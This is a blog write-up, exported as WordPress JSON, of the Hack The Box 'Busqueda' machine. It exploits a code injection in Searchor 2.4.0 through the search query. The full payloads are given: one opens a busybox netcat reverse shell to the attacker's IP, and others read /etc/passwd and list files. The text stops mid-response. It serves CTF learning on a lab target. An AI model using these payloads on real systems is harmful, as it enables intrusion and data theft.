{"id":3003,"date":"2023-05-20T11:43:25","date_gmt":"2023-05-20T11:43:25","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3003"},"modified":"2023-05-23T18:05:39","modified_gmt":"2023-05-23T18:05:39","slug":"hack-the-box-busqueda-write-up","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/","title":{"rendered":"Hack The Box | Busqueda | Write UP"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Hey there, Cyber Warriors! \ud83d\ude80<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Guess what? I recently had a wild ride with the Busqueda CTF challenge and I can&#8217;t wait to share the adventure with you. This challenge was a real treat, pushing my skills and making me think on my feet. It&#8217;s got everything: sneaky vulnerabilities, cool command injections, and that sweet taste of privilege escalation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Remember though, the hacks we&#8217;re talking about here are just for fun and learning. Always be a good netizen and only hack where you have permission.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In this post, we&#8217;re going to dive into how I tackled the Busqueda CTF. It&#8217;s not the only way, but hey, it worked! Ready to step into the breach? Let&#8217;s do this!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" width=\"800\" height=\"418\" data-attachment-id=\"3029\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/image-60\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&amp;ssl=1\" data-orig-size=\"1200,627\" data-comments-opened=\"1\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=800%2C418&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?resize=800%2C418&#038;ssl=1\" alt=\"\" class=\"wp-image-3029\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?w=1200&amp;ssl=1 1200w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?resize=300%2C157&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?resize=768%2C401&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<!--more-->\n\n\n\n<p class=\"wp-block-paragraph\">First of all we need to add to the \u201c\/etc\/hosts\u201d file the name of the machine:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>10.10.11.208 searcher.htb searcher<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Also we will perform a scan with Nmap:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>sudo nmap -sT -n -Pn -sV -T4 -vv 10.10.11.208<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)\n80\/tcp open  http    Apache httpd 2.4.52\nService Info: Host: searcher.htb; OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We discovered an HTTP Server (Port: 80):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PORT   STATE SERVICE VERSION\n80\/tcp open  http    Apache httpd 2.4.52<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will see the web page:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"800\" height=\"536\" data-attachment-id=\"3005\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled.png?fit=2446%2C1640&amp;ssl=1\" data-orig-size=\"2446,1640\" data-comments-opened=\"1\" data-image-title=\"Untitled\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled.png?fit=800%2C536&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled.png?resize=800%2C536&#038;ssl=1\" alt=\"\" class=\"wp-image-3005\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled.png?w=2446&amp;ssl=1 2446w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled.png?resize=300%2C201&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled.png?resize=768%2C515&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled.png?resize=1536%2C1030&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled.png?resize=2048%2C1373&amp;ssl=1 2048w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Review the code of the page and we can see the technology that is been used from the web page:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"800\" height=\"65\" data-attachment-id=\"3006\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2.png?fit=1776%2C144&amp;ssl=1\" data-orig-size=\"1776,144\" data-comments-opened=\"1\" data-image-title=\"Untitled-2\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2.png?fit=800%2C65&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2.png?resize=800%2C65&#038;ssl=1\" alt=\"\" class=\"wp-image-3006\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2.png?w=1776&amp;ssl=1 1776w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2.png?resize=300%2C24&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2.png?resize=768%2C62&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2.png?resize=1536%2C125&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-2.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;footer class=\"mt-auto\"&gt;\n\n    &lt;div class=\"footer-basic\"&gt;\n            &lt;hr&gt;\n            &lt;div class=\"social\"&gt;&lt;a href=\"#\"&gt;&lt;i class=\"icon ion-social-instagram\"&gt;&lt;\/i&gt;&lt;\/a&gt;&lt;a href=\"#\"&gt;&lt;i class=\"icon ion-social-snapchat\"&gt;&lt;\/i&gt;&lt;\/a&gt;&lt;a href=\"#\"&gt;&lt;i class=\"icon ion-social-twitter\"&gt;&lt;\/i&gt;&lt;\/a&gt;&lt;a href=\"#\"&gt;&lt;i class=\"icon ion-social-facebook\"&gt;&lt;\/i&gt;&lt;\/a&gt;&lt;\/div&gt;\n            &lt;ul class=\"list-inline\"&gt;\n                &lt;li class=\"list-inline-item\"&gt;&lt;a href=\"#\"&gt;Home&lt;\/a&gt;&lt;\/li&gt;\n                &lt;li class=\"list-inline-item\"&gt;&lt;a href=\"#\"&gt;Services&lt;\/a&gt;&lt;\/li&gt;\n                &lt;li class=\"list-inline-item\"&gt;&lt;a href=\"#\"&gt;About&lt;\/a&gt;&lt;\/li&gt;\n                &lt;li class=\"list-inline-item\"&gt;&lt;a href=\"#\"&gt;Terms&lt;\/a&gt;&lt;\/li&gt;\n                &lt;li class=\"list-inline-item\"&gt;&lt;a href=\"#\"&gt;Privacy Policy&lt;\/a&gt;&lt;\/li&gt;\n            &lt;\/ul&gt;\n            &lt;p class=\"copyright\"&gt;searcher.htb \u00a9 2023&lt;\/p&gt;\n            &lt;p class=\"copyright\"&gt;Powered by &lt;a style=\"color:black\" target='_blank' href=\"&lt;https:\/\/flask.palletsprojects.com&gt;\"&gt;Flask&lt;\/a&gt; and &lt;a  style=\"color:black\" target='_blank' href=\"&lt;https:\/\/github.com\/ArjunSharda\/Searchor&gt;\"&gt;Searchor 2.4.0&lt;\/a&gt; &lt;\/p&gt;&lt;br&gt;\n    &lt;\/div&gt;\n    &lt;script src=\"&lt;https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/jquery\/3.2.1\/jquery.min.js&gt;\"&gt;&lt;\/script&gt;\n    &lt;script src=\"&lt;https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/twitter-bootstrap\/4.1.3\/js\/bootstrap.bundle.min.js&gt;\"&gt;&lt;\/script&gt;\n\n&lt;\/footer&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The information gives us a great point to start. We know the tools the web page is using and also check the version of the technology. We need to check if there is any vulnerability:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/ArjunSharda\/Searchor\">https:\/\/github.com\/ArjunSharda\/Searchor<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After research in google we can see the next vulnerability (Arbitrary Code Execution):<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/security.snyk.io\/package\/pip\/searchor\/2.4.0\">https:\/\/security.snyk.io\/package\/pip\/searchor\/2.4.0<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It currently doesn\u2019t exist a PoC about how we can exploit this Vulnerability. We need to try to exploit it by our self. The first action we will do is try to bypass the input, for this we will use Burp Suite and the repeater functionality:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"271\" data-attachment-id=\"3007\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-3\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3.png?fit=1274%2C432&amp;ssl=1\" data-orig-size=\"1274,432\" data-comments-opened=\"1\" data-image-title=\"Untitled-3\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3.png?fit=800%2C271&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3.png?resize=800%2C271&#038;ssl=1\" alt=\"\" class=\"wp-image-3007\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3.png?w=1274&amp;ssl=1 1274w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3.png?resize=300%2C102&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-3.png?resize=768%2C260&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After configure our navigator we need to send an example petition and after that we will modify it to try to do a command injection. The first try, could be like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>function(''),#<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"394\" data-attachment-id=\"3008\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-4\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4.png?fit=838%2C413&amp;ssl=1\" data-orig-size=\"838,413\" data-comments-opened=\"1\" data-image-title=\"Untitled-4\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4.png?fit=800%2C394&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4.png?resize=800%2C394&#038;ssl=1\" alt=\"\" class=\"wp-image-3008\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4.png?w=838&amp;ssl=1 838w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4.png?resize=300%2C148&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-4.png?resize=768%2C379&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The second try, could be like this. We will try to send various params:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>example'),1#<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"394\" data-attachment-id=\"3009\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-5\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5.png?fit=838%2C413&amp;ssl=1\" data-orig-size=\"838,413\" data-comments-opened=\"1\" data-image-title=\"Untitled-5\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5.png?fit=800%2C394&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5.png?resize=800%2C394&#038;ssl=1\" alt=\"\" class=\"wp-image-3009\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5.png?w=838&amp;ssl=1 838w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5.png?resize=300%2C148&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-5.png?resize=768%2C379&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now we already know we can execute an attack because we view response from the server. We will check some reverse shells, from \u201c<a href=\"https:\/\/www.revshells.com\/\"><\/a><a href=\"https:\/\/www.revshells.com\/\">https:\/\/www.revshells.com\/<\/a>\u201d and finally we can use the next reverse shell but before we need to execute netcat:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nc -nlvp 4444<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After that we will execute our payload with the reverse shell:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>engine=Accuweather&amp;query=example'),__import__('os').system('busybox nc 10.10.16.15 4444 -e \/bin\/sh')#<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"411\" data-attachment-id=\"3010\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-6\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6.png?fit=828%2C425&amp;ssl=1\" data-orig-size=\"828,425\" data-comments-opened=\"1\" data-image-title=\"Untitled-6\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6.png?fit=800%2C411&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6.png?resize=800%2C411&#038;ssl=1\" alt=\"\" class=\"wp-image-3010\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6.png?w=828&amp;ssl=1 828w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6.png?resize=300%2C154&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-6.png?resize=768%2C394&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Finally we will have a connection with the machine through the netcat. Now we can reach the user flag:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"497\" height=\"131\" data-attachment-id=\"3011\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-7\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-7.png?fit=497%2C131&amp;ssl=1\" data-orig-size=\"497,131\" data-comments-opened=\"1\" data-image-title=\"Untitled-7\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-7.png?fit=497%2C131&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-7.png?resize=497%2C131&#038;ssl=1\" alt=\"\" class=\"wp-image-3011\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-7.png?w=497&amp;ssl=1 497w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-7.png?resize=300%2C79&amp;ssl=1 300w\" sizes=\"(max-width: 497px) 100vw, 497px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After that we confirm the application is vulnerable also we have a reverse shell communication. Now we will check through burp suite some files (\/etc\/passwd):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>engine=Accuweather&amp;query=example'),__import__('os').system('cat \/etc\/passwd')#<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"796\" height=\"346\" data-attachment-id=\"3013\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-9\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9.png?fit=796%2C346&amp;ssl=1\" data-orig-size=\"796,346\" data-comments-opened=\"1\" data-image-title=\"Untitled-9\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9.png?fit=796%2C346&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9.png?resize=796%2C346&#038;ssl=1\" alt=\"\" class=\"wp-image-3013\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9.png?w=796&amp;ssl=1 796w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9.png?resize=300%2C130&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-9.png?resize=768%2C334&amp;ssl=1 768w\" sizes=\"(max-width: 796px) 100vw, 796px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">And we will get the next result where we can see the user \u2018svc\u2019:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\nDate: Tue, 16 May 2023 08:29:56 GMT\nServer: Werkzeug\/2.1.2 Python\/3.10.6\nContent-Type: text\/html; charset=utf-8\nVary: Accept-Encoding\nContent-Length: 2001\nConnection: close\n\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:103:104::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:104:105:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\npollinate:x:105:1::\/var\/cache\/pollinate:\/bin\/false\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin\nsyslog:x:107:113::\/home\/syslog:\/usr\/sbin\/nologin\nuuidd:x:108:114::\/run\/uuidd:\/usr\/sbin\/nologin\ntcpdump:x:109:115::\/nonexistent:\/usr\/sbin\/nologin\ntss:x:110:116:TPM software stack,,,:\/var\/lib\/tpm:\/bin\/false\nlandscape:x:111:117::\/var\/lib\/landscape:\/usr\/sbin\/nologin\nusbmux:x:112:46:usbmux daemon,,,:\/var\/lib\/usbmux:\/usr\/sbin\/nologin\n**svc:x:1000:1000:svc:\/home\/svc:\/bin\/bash**\nlxd:x:999:100::\/var\/snap\/lxd\/common\/lxd:\/bin\/false\nfwupd-refresh:x:113:119:fwupd-refresh user,,,:\/run\/systemd:\/usr\/sbin\/nologin\ndnsmasq:x:114:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin\n_laurel:x:998:998::\/var\/log\/laurel:\/bin\/false\n('&lt;https:\/\/www.accuweather.com\/en\/search-locations?query=example&gt;', 0)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we will list the actual directory to view how many directories and files have:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>engine=Accuweather&amp;query=example'),__import__('os').system('ls -la')#<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"784\" height=\"377\" data-attachment-id=\"3014\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-10\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10.png?fit=784%2C377&amp;ssl=1\" data-orig-size=\"784,377\" data-comments-opened=\"1\" data-image-title=\"Untitled-10\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10.png?fit=784%2C377&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10.png?resize=784%2C377&#038;ssl=1\" alt=\"\" class=\"wp-image-3014\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10.png?w=784&amp;ssl=1 784w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10.png?resize=300%2C144&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-10.png?resize=768%2C369&amp;ssl=1 768w\" sizes=\"(max-width: 784px) 100vw, 784px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Definitely we found something. We have a git directory:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"784\" height=\"377\" data-attachment-id=\"3015\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-11\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11.png?fit=784%2C377&amp;ssl=1\" data-orig-size=\"784,377\" data-comments-opened=\"1\" data-image-title=\"Untitled-11\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11.png?fit=784%2C377&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11.png?resize=784%2C377&#038;ssl=1\" alt=\"\" class=\"wp-image-3015\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11.png?w=784&amp;ssl=1 784w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11.png?resize=300%2C144&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-11.png?resize=768%2C369&amp;ssl=1 768w\" sizes=\"(max-width: 784px) 100vw, 784px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After looking for something interesting we found the git config file with credentials:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"224\" data-attachment-id=\"3016\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-12\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-12.png?fit=1626%2C455&amp;ssl=1\" data-orig-size=\"1626,455\" data-comments-opened=\"1\" data-image-title=\"Untitled-12\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-12.png?fit=800%2C224&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-12.png?resize=800%2C224&#038;ssl=1\" alt=\"\" class=\"wp-image-3016\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-12.png?w=1626&amp;ssl=1 1626w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-12.png?resize=300%2C84&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-12.png?resize=768%2C215&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-12.png?resize=1536%2C430&amp;ssl=1 1536w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\nDate: Tue, 16 May 2023 11:19:42 GMT\nServer: Werkzeug\/2.1.2 Python\/3.10.6\nContent-Type: text\/html; charset=utf-8\nVary: Accept-Encoding\nConnection: close\nContent-Length: 